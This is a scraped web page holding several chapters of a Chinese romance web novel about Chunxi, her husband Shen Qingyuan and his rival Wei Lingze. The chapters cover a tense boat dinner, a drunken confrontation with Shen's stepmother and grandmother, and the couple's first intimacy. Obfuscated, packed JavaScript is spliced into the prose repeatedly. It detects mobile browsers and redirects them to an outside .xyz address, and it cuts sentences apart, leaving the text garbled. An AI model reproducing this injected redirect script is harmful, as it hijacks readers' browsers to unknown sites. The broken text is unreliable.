“萧夫人不是送了我两箱东西吗,那些都挺值钱的,我只当了一点儿就有三千多两,而且太子殿下前不久赏了我三百金,加上穆大人赔的一千两,就有这么多啦。” 其实还有她从卫家离开时,卫夫人给的一千两。 这是她全部的家当。 春喜语气轻快,把银票往沈清渊手里一塞,拿出一个小册子递给沈清渊。 这是她和贾嬷嬷整理完私库后,自己整理的一份清单。 “这上面都是你私库里的东西,你把对你意义重大的圈出来,到时我单独收起来,免得不小心给你当出去了。” 春喜说着就要去拿笔,沈清渊拉住她,沉沉道:“不用了,这些钱已经够用了。” “还是要多准备一些,万一到时有什么突发情况呢……” 春喜皱紧眉头,还是不放心。 沈清渊忽地上前一步,将她揽入怀中,用力抱住。 天气很热,隔着薄薄的衣衫,春喜清晰感受到了沈清渊强有力的心跳,然后脑袋被拍了拍:“不会有什么突发情况的,放心。” 沈清渊的语气温和,却充满安定人心的力量。 春喜环住他的腰,用力嗅了嗅他身上的味道,低声道:“好,我相信大人,我在家里等着大人平安归来。” 这一幕让春喜想起了最后一次送别父亲的场景。 那一次她以为和之前一样,过不了多久就能再见到爹,却不想就是永别。 春喜眼眶发热,难得有些伤感,下一刻却听到沈清渊说:“你不用在家等我。” “啊?为什么?” 春喜疑惑仰头,沈清渊抬手擦了擦她的眼角,沉声道:“我向太子殿下求了恩准,夫人可以随我同去徐州。” “……”!!! 第75章 卫凌泽要当面赔罪 张御医刚从清远侯府离开 他心情很好地去五芳斋买了萧清禾爱吃的芙蓉莲子糕回家。 天气越发的热了即便屋里放着冰萧清禾也穿得很单薄。 这会儿天还没黑艳丽的夕阳透过窗户洒在美人榻上斜靠在美人榻上看书的萧清禾整个人都笼在鎏金的光影中恍若神女。 卫凌泽一进门看到的就是这样一幕。 他的喉结滚了滚想到许多美好的回忆但很快眸中情绪都化为平静。 “夫人在看什么?” 卫凌泽走到美人榻边坐下很自然地伸手把萧清禾揽入怀中。 萧清禾的身子僵了一瞬却没挣扎柔柔顺顺地倚在他怀中柔柔道:“家中几个弟弟也不小了母亲想在秋后举办一场赏花宴为他们相看一下我在看让花匠再培植些什么花木比较好。” 卫凌泽受伤对家中儿郎的婚事多少有些影响萧清禾这个晚三年入门的大嫂自然也要多花些心思操办这场赏花宴才行。 “这些事让下人去做就好了哪需要你亲力亲为。” 卫凌泽不以为然抽走萧清禾手里的书扔在一边打开食盒捡了一块糕点喂到萧清禾嘴边。 清甜的香气涌入鼻尖萧清禾却只觉得甜腻她眉心微蹙偏头避开:“卫郎先放着吧我这会儿不太想吃东西。” “你之前不是很喜欢吃这个吗我今天下值特意去买的。” 卫凌泽说着把糕点又往萧清禾唇边送了些。 他的语气虽然温和态度却很强硬。 他特意去买了她爱吃的糕点不管她现在有没有胃口都得吃。 这种半强迫的感觉让萧清禾很不舒服。 她是金尊玉贵的萧家嫡长女从小到大都备受宠爱哪怕过去三年她忤逆母亲不肯与卫家退婚家里人也不曾这样逼迫她。 “卫郎我现在真的不想吃。” 萧清禾加重语气同时伸手去推卫凌泽。 两人的力量悬殊卫凌泽纹丝不动气氛一时冷凝。 不知过了多久卫凌泽忽地拂袖将一整盒糕点扫落在地。 “禾儿不喜欢那就不吃。” 卫凌泽嘴上说着不用吃却分明是在发脾气。 萧清禾指尖蜷缩心脏跟着闷疼。 眼前的卫凌泽和她记忆中的少年郎相差太大她都快不认识他了。 萧清禾的脸色不太好看卫凌泽却像是什么都没有发生过 ,抓着萧清禾的手把玩:“我之前说要陪你游湖散心,禾儿可想好什么时候去?” 初掌府中一半的中馈,萧清禾最近很忙也很累,但她刚刚已经拒绝了卫凌泽一次,不想再惹他发火,只能说:“看卫郎什么时候沐休,我都可以。” 萧清禾本以为自己答应出游这件事就结束了,下一刻却听到卫凌泽说:“我五日后沐休,禾儿给沈少夫人送份帖子吧,到时我给他们道歉,顺便给沈大人送行。” 萧清禾猛然偏头看着卫凌泽,卫凌泽一脸坦然:“禾儿不是一直劝我不要跟他起冲突吗,之前我对他确实有些误会,现在当面赔礼道歉不好吗?” “卫郎想给沈叔叔道歉,可以单独去找沈叔叔,何必要借我的名义把沈少夫人也带上?” 萧清禾的心冷得厉害,脸色也跟着冷沉。 她宁愿卫凌泽像前几日那样冷着她,也不愿意卫凌泽假装深情,非要她在旁边见证他对春喜有多放不下。 “禾儿不想见到沈少夫人?”卫凌泽挑眉,不等萧清禾开口又道,“她姿色平平,又身份低下,连你的头发丝都比不上,你何时变得这般容不得人了?” 卫凌泽语气温和,表情带了无奈,好像萧清禾是在无理取闹。 萧清禾感觉自己像是一拳打在了棉花上,无力极了。 她并没有因为卫凌泽的话反省自己,沉着脸说:“我自然有容人之量,若卫郎当初要给春喜一个名分,我也是愿意与她共同侍奉卫郎的,但如今她已是我的小婶婶,还请卫郎忘掉过去,离她远些才好。” 萧清禾脱口而出那句“小婶婶”还是让卫凌泽心中不快,但他没有表现出来,仍是温温和和道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578735|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“禾儿说得有理,等这次赔罪之后,我就再也不见她了,行吗?” “……” 卫凌泽始终坚持要在沈清渊去徐州之前当面赔罪,萧清禾最终还是答应下来,让人送了请帖去清远侯府。 请帖照旧先送到莫氏手上。 莫氏已经“病愈”,看完请帖很不高兴。 萧家有意抬举,萧清月和萧清禾接连相邀,纵然春喜身份低下,也还是能在世家夫人面前占据一席之地,而且沈清渊又被任命为钦差大臣,万一真的立了功回来,要想从他手里夺走世子之位就难了。 莫氏当即写了一封信让心腹送回娘家,然后才把春喜叫来:“卫少夫人要设宴给渊儿送行,到时你还是带着迟儿一起去,迟儿年纪也不小了,你对瀚京的世家子弟不了解,可以多问问卫少夫人,看看有没有合适的好人家。” 春喜瞪大眼睛一脸惊奇:“母亲,我和迟儿年纪虽小,但算辈分在卫少夫人之上,哪有长辈找晚辈牵线拉媒的道理?” 莫氏的脸顿时黑了。 按照辈分,萧清禾还该叫她一声姑奶奶呢,但萧家把她和萧氏向来是分开论的,这么多年她可没从萧家占到一点儿便宜! 偏偏莫氏还反驳不了春喜。 若她说萧家根本不认她这门亲,她又凭什么让春喜去找萧清禾给自己的女儿说亲? 莫氏噎的胸口发疼,气冲冲道:“我让你做什么你就做什么,少说废话。” “哦。” 春喜点点头,接了请帖离开。 莫氏气了半晌,最终叫来贾嬷嬷:“你想办法去城西米铺把那个老不死的带回侯府来。” 贾嬷嬷眼皮一跳:“夫人当初可是废了九牛二虎之力才把侯爷老家那些穷亲戚赶出侯府的,现在把这位找回来,其他人听到消息肯定会跟疯狗一样缠上来,这……” 莫氏揪着帕子冷笑:“我能赶走他们一次,就能赶走第二次,眼下最要紧的是不能让这个逆子翻身!” 莫氏眸底满是怨毒,贾嬷嬷不敢再劝,应声离开。 第76章 这些菜她闻着恶心 莫氏并无大碍,沈清渊的任命很快下来。 春喜又变卖了一些东西,凑够了一万五千两的银票。 这样大的数额自然不能全放在一个人身上,春喜在自己和沈清渊的里衣里都缝了暗兜,又兑了一百两的碎银用作日常花销。 做完这些,就到了卫凌泽和萧清禾请吃饭的日子。 一大早,春喜便带着沈清迟和沈清渊一起出门赴宴。 三人同坐一辆马车,沈清迟很是拘谨,抓着绢帕的手用力到泛白。 沈清渊很快发现她的紧绷,沉声发问:“怕我? 沈清迟连忙摇头:“没有,我只是从来没有跟大哥这样近距离地相处过,有些不太适应。 不过是答了一句话,沈清迟的脸一下子红透,眼睛慌乱地不知该看哪儿。 实在是胆小极了。 沈清渊皱了皱眉:“既然这样不自在,为什么还要跟来? 萧清禾的请帖上只邀请了沈清渊和春喜,沈清迟是莫氏硬塞过来的,上次去萧家参加萧清月的生辰宴也是一样。 未被邀请却硬要去参加宴席,挺没皮没脸的。 沈清迟的脸更红了,但害怕被沈清渊赶下马车,她急急道:“我没有不自在,我只是有点紧张,你放心,一会儿到了地方我一定大大方方的,绝不多话给大哥大嫂丢脸,求大哥不要赶我下车。 说到最后,沈清迟的语气带了哭腔。 她虽是莫氏亲生,但因为胆小又平庸,并没有什么拿得出手的才能,随着年岁渐长,莫氏对她越来越不满。 莫氏需要她找一门婚事为沈清越和沈清宇带来助益,若她找不到,那就只能给人做妾。 所以即便知道硬跟着大哥大嫂赴宴很不体面,她也还是要来。 下个月她就及笄,留给她的时间不多了。 沈清迟红着眼,瞧着像是要哭出来,春喜暗暗叹了口气,开口道:“好妹妹,别害怕,你哥就是随口问问,没有要赶你下车的意思。 得了春喜安慰,沈清迟才没有哭出来,但接下来一路都沉默着,尽可能地降低自己的存在感。 很快,三人便到了约定好的地方。 卫凌泽包了一艘两层的画舫。 画舫之上布置精美,还有乐师抚琴唱曲儿,加上清爽的江风,让人心旷神怡。 卫凌泽和萧清禾先一步到达,春喜他们刚上船,两人就走出来。 “沈叔叔、小婶婶,你们来啦。 萧清禾笑着开口,见沈清迟 跟来虽有意外但并未露出不悦反而很客气地保护着沈清迟的自尊心。 今日只是私下小聚萧清禾穿了一身杏色衣裙保养极好的乌发只用两支银簪髻着不施粉黛却越发清新脱美得摄人心魄。 可惜站在她身旁的卫凌泽并不知道欣赏妻子的美貌目光一直在春喜和沈清渊之间流转。 带着恶意和一种莫名其妙的高傲得意。 这跟绝世美女嫁给了睁眼瞎有什么区别! 卫凌泽你可做点儿人事吧! 春喜直接翻了个大大的白眼。 卫凌泽立刻问:“沈少夫人对今日的安排有什么不满吗?” 春喜点点头一点儿也不客气:“是挺不满的禾儿在请贴上说侄婿要给我家大人送行还想当面赔礼道歉 春喜早就停下步子并不往画舫里走沈清渊自然而然地站在她身旁虽未说话但支持的意思很明显。 若是卫凌泽回答得不能让春喜满意他们马上就走。 卫凌泽没想到春喜都还没有坐下就开始找茬他咬了咬牙最后弯眸露出笑容温温和和地说:“小婶婶误会了我没有对你们不敬的意思只是你之前毕竟尽心尽力照顾了我三年年纪还比我小如今身份转换我一时确实有些难以适应。” 春喜一直想让卫凌泽叫自己小婶婶是想摆一摆长辈的架子让卫凌泽知道他们现在的身份差距她对他绝不可能有任何想法但卫凌泽真的叫出这句“小婶婶”春喜反而头皮发麻有种被毒蛇缠上的感觉连卫凌泽看她的眼神都变得禁忌恶心起来。 好像长辈这个身份并不能保护她反而越发激起了卫凌泽想要夺取她的兴趣。 春喜忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自己的夫人都说了最近不喜甜食,卫凌泽却还是花高价请淮南名厨做了这一桌菜,这是要恶心谁呢? “呕!” 这般想着,春喜直接干呕出声,而后倚进沈清渊怀中,娇气道:“大人,这些菜我闻着好恶心啊,快让人撤下去吧。” 恰好一曲作罢,画舫一时寂静,卫凌泽难以置信地瞪着春喜的肚子,恨不得拿刀剖开一探究竟! 第77章 大人,你喝醉了吗? 沈清渊自然知道春喜肚子里什么都没有。 但他立刻揽住春喜的腰严肃道:“内子不喜欢这些菜劳烦侄婿让人重新做一桌吧。” 沈清迟没想到这顿饭还没开吃就闹成了这样。 卫大少爷都说了这是他特意花高价请来淮南名厨做的菜嫂嫂一口没吃就要撤掉大哥还这么支持让卫大人的脸往哪儿放? 虽然开口的不是自己沈清迟还是如坐针毡她捏紧绢帕忍不住开口劝说:“嫂嫂我觉得这些菜挺香的你多少还是吃一点吧就这样撤下去多浪费啊。” 春喜搂着沈清渊的胳膊有恃无恐:“我又不是让撤下去倒了可以送去给城中的乞丐吃啊就当是做善事了我现在是真的恶心的不行再看到这些菜我就要吐出来了一口也吃不下。” 春喜说完一头扎进沈清渊胸膛。 沈清渊经常与尸体凶犯打交道每日都要沐浴更衣身上有很好闻的皂角清香让人很安心。 卫凌泽被春喜气的太阳穴突突地跳。 当着这么多人的面春喜整个人几乎都黏在了沈清渊身上没有半点儿女儿家的羞涩矜持。 就算是演戏这也太过了。 而且她明知道这桌淮南菜是他特意为她准备的这已经算得上是他的主动示好她却一点儿都不领情还要他把菜撤下去送给乞丐吃。 简直是把他的真心扔在地上狠狠踩踏。 沈清渊马上就要去徐州查案都没人能护着她了她凭什么还敢这么嚣张? 卫凌泽越想越是面沉如水沈清渊拥着春喜幽幽开口:“若是贤婿不愿意那这顿饭也不必吃了。” 沈清渊说完便要带着春喜起身离开卫凌泽终于开口:“来人把这些菜全都撤下去拿给城中的乞丐吃 画舫老板匆匆走进来面上惊疑不定:“这些都是淮南名菜而且味道非常地道都是按照公子的要求做的怎么突然要撤掉?” “我让你撤掉就撤掉!” 卫凌泽拔高声音把所有的不满都发泄到画舫老板身上老板浑身一颤连声应是而后小心翼翼地说:“可倒掉这些菜剩下的食材就不多了……” 要再做一桌子菜出来肯定是没有问题的但菜式就没有现在丰盛了当然再给他们一两个时辰去重新买菜准备那也是来得及的。 卫凌泽的不悦达到顶点正想让画舫老板自己去想办法解决春喜从沈清渊怀里支起脑袋:“我想吃酸菜鱼、麻 辣虾仁、八宝粥、肉夹馍…… 春喜一样样地点着菜,画舫老板一开始冷汗直冒,可听到后面就发现,春喜点的和桌上这些菜的食材一样,只是做法变成了咸辣口。 画舫上就有现成的食材,再调个厨子过来也不难。 画舫老板松了口气,应声退下,让帮厨先清晰食材备菜。 半个时辰后,新的菜品重新上桌,春喜认认真真地干起饭来,一点儿也没有恶心想吐的意思。 她就是故意的! 卫凌泽直勾勾地瞪着春喜,恨不得把眼神凝为实物,刺穿春喜的脸皮看看到底有多厚。 沈清渊把卫凌泽的眼神尽收眼底,他一边给春喜夹菜,一边开口:“侄婿与我们一直不和,怎么突然想到要请我们吃饭? 沈清迟本就因为春喜非要撤菜尴尬不已,听到自家大哥的话更是差点儿噎住。 大哥,咱们还吃着卫大少爷请的饭呢,你说话就不能委婉一点吗? 沈清渊委婉不了一点儿,看卫凌泽的眼神更是充满审视,赤裸裸地把卫凌泽当成是图谋不轨的恶人。 卫凌泽却不生气,反而恢复平和,温声笑道:“之前我是一时没有适应身份的转换,而且小婶婶之前一直想要和我撇清关系,但如今我们的交集反而更多了,我难免多想了些。 卫凌泽这话说得模棱两可,留下很多想象的空间。 好像春喜嫁给沈清渊做续弦,是故意想跟卫凌泽多见面,引起卫凌泽的注意似的。 你可真是好大一张脸。 春喜气得想当场反驳,还没开口,手腕便被沈清渊抓住,带着薄茧的指腹扫过腕骨,留下微痒,春喜的气一下子散了大半。 沈清渊看着卫凌泽,温温和和道:“确实是你想多了,这桩婚事,是我蓄谋已久,主动谋算来的,若非如此,阿喜绝不会愿意再与你有任何交集。 沈清渊帮春喜表明立场,还把自己放在了两人之间的低位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578737|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声“阿喜亲昵又缠绵,听得卫凌泽心头发紧。 不可能的。 这桩婚事明明是莫氏算计而来,沈清渊是不得已而为之,怎可能真的对春喜动心? 沈清渊一定是嫉恨他抢了上次那桩案子的功劳,故意和春喜演戏想要激怒他呢。 他才不会上当。 卫凌泽很快找到说服自己的借口,示意行舟给自己和沈清渊、春喜各倒了一杯酒。 “之前是我误会,我向沈叔叔和小婶婶道歉。 卫凌泽说着端 起酒杯,春喜很乐意喝这杯赔罪酒,刚要伸手,沈清渊先一步端走她面前的酒杯:“阿喜今日身子不适,我替她喝。” 沈清渊的维护显而易见,卫凌泽也没有阻止,只是越发热切地敬起酒来。 反正他喝一杯,沈清渊就要喝两杯,吃亏的人又不是他。 春喜不知道沈清渊的酒量如何,但又不想在卫凌泽面前露怯,只暗戳戳地给沈清渊夹菜,让他垫垫肚子别伤着胃。 到了最后,沈清渊还面不改色,卫凌泽说话却已经有些不过脑子了。 “春喜虽然已经不是卫家的人,但她毕竟曾经尽心尽力照顾了我三年,沈叔叔放心,等你离开瀚京,我一定好好关照小婶婶的。” “关照”二字,卫凌泽咬得很重,带了别样的意味。 萧清禾脸色微变,适时开口:“卫郎,你喝多了。” “我没有……” 卫凌泽并不承认,萧清禾直接和行舟一起把他扶到船头吹风清醒清醒。 很快,画舫靠岸。 卫凌泽和萧清禾先行离开。 上了马车,春喜忍不住低骂:“酒后吐真言,卫凌泽肯定没憋什么好屁,大人这次被任命去徐州会不会是他故意为之?” 话音刚落,沈清渊突然伸手压住她的唇。 许是酒劲儿上来,沈清渊的手指很烫,然后春喜听到他低哑的声音:“为夫帮夫人喝了这么多酒,夫人能不能把注意力从别的男人转移到为夫身上?” 春喜:“……”??? 这么大个妹妹还在呢,大人你是喝醉了吗? 第78章 老夫人回府了 沈清渊确实醉了。 虽然春喜一再提醒他马车里还有个沈清迟沈清渊还是不住地往她身上贴。 要口头夸奖还要实际奖励。 春喜连哄带骗沈清渊才没有当着沈清迟的面亲上来。 好不容易回到侯府沈清迟立刻逃下马车春喜扶着沈清渊落在后面刚进大门就被贾嬷嬷拦住:“老夫人回来了请大少爷和少夫人先去见见老夫人吧。” “舅母来了?” 春喜进侯府这么久只见过清远侯一面并未见过其他沈家人沈清渊也未曾提起过她便下意识地觉得贾嬷嬷口中的老夫人是萧老夫人。 贾嬷嬷刚要解释原本大半身体都压在春喜身上的沈清渊突然站直 春喜:“……”??? 所以大人你是真喝醉了还是在装醉啊? 春喜被沈清渊弄得有些丈二和尚摸不着头脑只能跟着沈清渊去往主院。 主院里清远侯的老母亲吴氏正翘着二郎腿磕着瓜子喝着茶时不时的还要吐口老痰出来。 莫氏强撑着笑心里恶心到不行只觉得空气都被这个老不死的弄脏了。 清远侯出身贫寒但他娘吴氏很能生足足生了四子三女。 清远侯立下战功后一家老小成了十里八乡的风云人物来瀚京投奔时连八竿子打不着的远房亲戚都跟了来。 萧氏是个万事不管的主她在世时这些穷亲戚霸占着大半个侯府作威作福吴氏甚至还摆出婆母的架子怪萧氏迟迟不生孩子想给清远侯纳妾。 莫氏入门后花了两年的时间才把这群穷鬼赶出侯府。 如果不是为了对付沈清渊和春喜她这辈子都不想再见到这个老东西。 正想着沈清渊带着春喜走进院来。 莫氏松了口气笑容热切地迎上来:“渊儿、阿喜你们可算回来了快来见过祖母。” 莫氏把萧氏的嫁妆许了一半给吴氏她刚说完吴氏便刻薄地开口:“哼!我可从来没有收到渊儿要成婚的消息这个孙媳妇儿我不认!” 春喜根本没有听清吴氏说什么满脑子都是震惊。 原来她公爹的老娘还活着家里还有人啊上回清远侯回家也没提起过啊。 莫氏对吴氏的反应很满意假惺惺地打圆场:“渊儿都成第三次婚了他不想太过张扬所以才没有通知娘如今渊儿好不容易得到任命要去徐州查大案子娘若是欺负阿喜是会让渊儿分心的 。” 说到最后,莫氏的唇角忍不住上扬,恨不得把幸灾乐祸四个字直接写脸上。 她在这个时候把吴氏接回侯府,就是想让吴氏在侯府**,让沈清渊放心不下。 沈清渊和春喜可以不把她这个没有血缘关系的继母放在眼里,难道还敢忤逆年事已高的吴氏? 吴氏吐出一口瓜子皮,皮笑肉不笑地冷哼:“什么叫欺负,我这个做祖母的,难道还不能教教孙媳妇规矩?” 吴氏说完端起手边的茶,刚送到嘴边,一阵厉风袭来,茶杯脱手而出,摔在地上四分五裂。 吴氏和莫氏皆是眼皮一跳,两人还没来得及反应过来,就听到沈清渊冷森森的声音:“你们一个老不死的恨不得把儿子敲骨吸髓,一个老不正经爬床上位还非要抢别人的东西,自己狗咬狗就算了,还要联起手来欺负人,若是真不想要自己那张脸,我可以帮你们剐下来!” “……” “……” 吴氏和莫氏瞪大眼睛,既震惊又害怕。 她们设想过春喜的种种反应,独独没想到沈清渊会这样不留情面地把她们的脸皮狠狠撕下! 这个逆子不是向来沉默寡言吗,怎么今天突然跟市井泼妇一样闹起来了? 骂自己的祖母是老不死的,还把继母爬床这种事宣扬出来,他是疯了吗? 吴氏和莫氏被沈清渊震住,一时都不敢应声,春喜怕吴氏被气出什么好歹来,连忙解释:“祖母、母亲,你们别生气,大人他不是故意的,今天他被卫大人灌了不少酒,喝醉了。” 喝醉了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578738|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 被春喜提醒,吴氏和莫氏才注意到沈清渊身上有很浓郁的酒气。 那今天就不是立规矩的好时机了。 不过以后的日子还长,不着急,慢慢来。 吴氏打定主意,嘴上却还是忍不住训斥春喜:“你不是跟着一起去的吗,不知道劝着些让他少喝点儿吗,喝成这样回家来撒酒疯像什么话?” 吴氏说着下意识地又抓了把瓜子想压压惊,然而刚把瓜子抓在手里,装瓜子的盘子就被沈清渊抢过去狠狠砸在地上。 “你算什么东西,有什么资格跟我夫人这样说话?我都舍不得凶她,你算老几?” 盘子是用黄花梨木做的,摔在地上本来没烂,却被沈清渊一脚踩碎,木屑翻飞间,吴氏皱纹横生的眉心克制不住猛跳了两下。 这一脚要是落在她身上,她这把老骨头可受不住。 吴氏顿时不敢再多话了,莫氏更是默默后退了两步,生怕被殃及。 过去二十多年,沈清渊别说喝醉,连失态都不曾有过,谁能想到他发起酒疯会这么可怕? 春喜也觉得不能让沈清渊再这么闹下去了。 他耍酒疯骂吴氏和莫氏几句可以,但要是把人打伤了,那就得背上不肖子孙的罪名。 “大人,没事了,我们先回问心院去吧,我还有好多话要跟你说呢。” 春喜说着抓住沈清渊的胳膊,看到她眼底的担忧,沈清渊放软了语气:“别怕,我不凶你。” 春喜刚想说自己不怕,沈清渊扭过头,凶神恶煞地瞪着吴氏:“跟我夫人道歉!” “……” 她这还没来得及立威呢,先低头认了错,以后还怎么压住这个小蹄子? 吴氏不想低头,她皱着眉头辩解:“我是在教她怎么做个好妻子,没有凶她,我……” 话没说完就被沈清渊不客气地打断:“你就不是个好东西,有什么资格教她?” 吴氏:“……” 她儿子怎么就生出了这么个孽障?! 第79章 你嫌我老? 沈清渊发起酒疯六亲不认,春喜好说歹说才把他劝回问心院。 两人一走,吴氏就气得拍桌:“这个孽障,真是越来越放肆了,明日等他醒了酒,一定要让他跪下好好认错才行! 莫氏也缓过神来,笑着说:“反正只要你有本事压得住他,所有好处我都分你一半。 想到萧氏留下来的丰厚嫁妆,吴氏的怒气散了些:“他马上就要去徐州了,压不压得住他无所谓,只要能压住那个小蹄子就行了。 吴氏很有信心,似乎觉得拿捏春喜是件很容易的事。 莫氏心里偷着乐。 要是这个小蹄子这么容易被拿捏就好了,等这个老不死的在春喜手里吃了瘪,才是她拿回主动权的时候。 吴氏不管莫氏心里在想什么,张嘴道:“你想让我帮你惩治那个小蹄子,你首先就得尊重我,从今天起,我要住主院,这几年我的身子骨不行,院里至少要七八个丫鬟伺候,而且我身上的行头都旧了,全得换新的,不是上好的料子我可不穿。 和当年举家来投奔儿子的时候一样,吴氏虽然一身的泥腿子味儿,派头却很大。 莫氏当然不愿意把主院让出去,压着脾气道:“侯爷隔三岔五还要回府里来住,主院让出去恐怕不妥,不过我已经让人把你之前住的院子打扫出来,院子里的布置也是用了心的,你去看了若是有哪里不满意都可以换。 莫氏把清远侯搬出来,吴氏只能不情不愿地去看院子。 在瀚京待了几年,吴氏也能看出一些东西的好赖,进屋转了一圈,她便要求把床褥床帐还有茶具桌凳全部换一遍。 “这些东西一看就是你临时让人随便从外面买的便宜货,怎么,事成之后想直接把我撵出去好独得好处? 吴氏浑浊却精明的眼睛如同钩子钉在莫氏脸上,莫氏暗骂老不死的成了精,面上却陪着笑道:“都是下面的人做事不用心,我们娘俩如今在一个阵营,我怎么可能赶娘走呢。 为了安抚吴氏,莫氏麻溜地让人把屋里的东西都换了一遍。 等吴氏住下,莫氏才离开,回到主院,莫氏的脸色立刻变得阴沉。 老不死的,等我的越儿顺利继承世子之位,少不了你的好果子吃! —— 问心院里,春喜好不容易把沈清渊哄到床上,赶紧去小厨房煮醒酒汤,刚把火升起来,就见沈清渊站在灶台旁,目光幽幽地看着她。 “大人不是答应我好好躺在床上睡一觉吗,怎么又起来了? “我不困,而且我喜欢看着你。” 沈清渊在吴氏和莫氏面前挺凶的,到了春喜面前就温和又坦率,喜欢这种话张口就来。 春喜没当回事,哄小孩儿似的点头:“我知道大人喜欢我,我也喜欢你,但你喝醉了,先去睡会儿好不好?” 沈清渊皱了皱眉,不悦道:“你不想和我待在一起,你不喜欢我。” “我没有……” 春喜试图解释,刚开了口,沈清渊整个人就挤到灶前蹲在她面前。 灶前的空间本就不大,堆满了柴,再加上人高马大的沈清渊,越发逼仄起来,加上天气热,还有灶火烤着,春喜感觉自己整个人都像是掉进了火炉子里。 沈清渊却毫无所感,直勾勾地盯着她问:“你嫌弃我克死过两任妻子?” “没有,我早就说过了,咱们之间只有你嫌弃我的份儿,我怎么可能嫌弃你?” “那你是嫌我老?” “你也就只比我大**岁,还不到而立之年,不算很老啊。” 春喜如实回答,沈清渊对她的回答却很不满意:“不算很老那也是有点儿老了。” “不是,我没有这个意思,大人,你误会了。” 春喜觉得醉酒后的沈清渊理解方式有些不太一样,她想解释,下一刻整个人却被沈清渊扛到肩膀。 身体陡然悬空,春喜只能抓住沈清渊的腰带让自己不要掉下去。 “大人,你别冲动,我真的没有嫌弃你,你想陪我一起烧火也可以,我不赶你走了行不行?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578739|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春喜试图跟醉鬼商量,沈清渊却充耳不闻,直接把她扛回房间放到床上。 然后……开始脱衣服!! 沈清渊的动作太快,春喜还没反应过来,他就脱光了上衣,只剩一条里裤。 烤了火又扛了人,沈清渊也出了汗,肌理分明的胸膛因为细密的汗珠泛着些许水光,看着就很欲! 春喜直愣愣地看着,有些移不开眼,同时还有些口干舌燥。 完了,有点想摸。 可这是沈大人啊,还是喝醉酒的沈大人,她这样做会不会有点儿乘人之危? 大人醒过来以后会不会生气? 春喜陷入纠结,这时沈清渊爬上床来,逼近春喜,然后用一种孩子气的委屈的语气开口:“夫人,你摸摸看,我真的不老。” “……”!!! 大人,我的意志本来就不坚定,而且咱们还是拜过天地的夫妻,你这样引诱我,我真的不一定能守住底线啊! 春喜咽了咽口水,抓着最后一丝理智提醒:“大人,你喝醉了,还是等你喝完醒酒汤再聊这个话题吧。” “我很清楚我在做什么。” 沈清渊加重语气,下一刻,抓着春喜的手按在自己胸膛。 春喜眼睫狂颤,脑子却很清晰地感受着掌心下的触感。 带着薄汗的胸膛滚烫且结实有力,胸腔的心脏正强有力地跳动着,一下一下,撞得春喜掌心发麻。 春喜强忍住捏一捏的冲动艰难开口:“大人,我现在知道了,你的身体真的很强壮,一点儿都不老,以后肯定能长命百岁!” “然后呢?” 沈清渊的眸子不知什么时候暗成了墨,像是没有边际的巨大深渊,要把春喜整个人吸附进去。 春喜顿觉喉咙发紧,脑袋一片空白,只能讷讷地问:“然后还有什么?” 沈清渊放开她的手腕,低头在她颈侧嗅了嗅,几乎贴着她的脖子开口:“你就不想试试吗?” 春喜:“……”??? 试什么?怎么试? 第80章 这个时候你让我出去? 春喜整个人都是懵的,沈清渊突然在她颈间细细地啃咬起来。 痒意透过皮肤传到四肢八骸,春喜本能地缩了缩脖子。 “大人,等等……” 春喜推了沈清渊一把,沈清渊抬头,晦暗不明的眸子满是委屈控诉:“你就是不喜欢我。” 不是不喜欢,是真的很痒啊。 但一个醉鬼怎么会相信这种解释? 罢了罢了,就这样吧。 反正都成亲了,迟早要圆房的,这日不如撞日,今天把这事儿办了也好。 春喜很快说服自己,勾着沈清渊的脖子主动在他唇上啄了一口:“我喜欢大人的。” 毕竟有过深入亲亲的经验,春喜还算熟练。 主动亲了几下,沈清渊就夺回主动权。 春喜被亲得有点儿缺氧,还得分出精力回想成婚前一日王氏跟她说过的闺房之事,然而还没等她想出个所以然来,胸口就是一沉。 “……”!!! 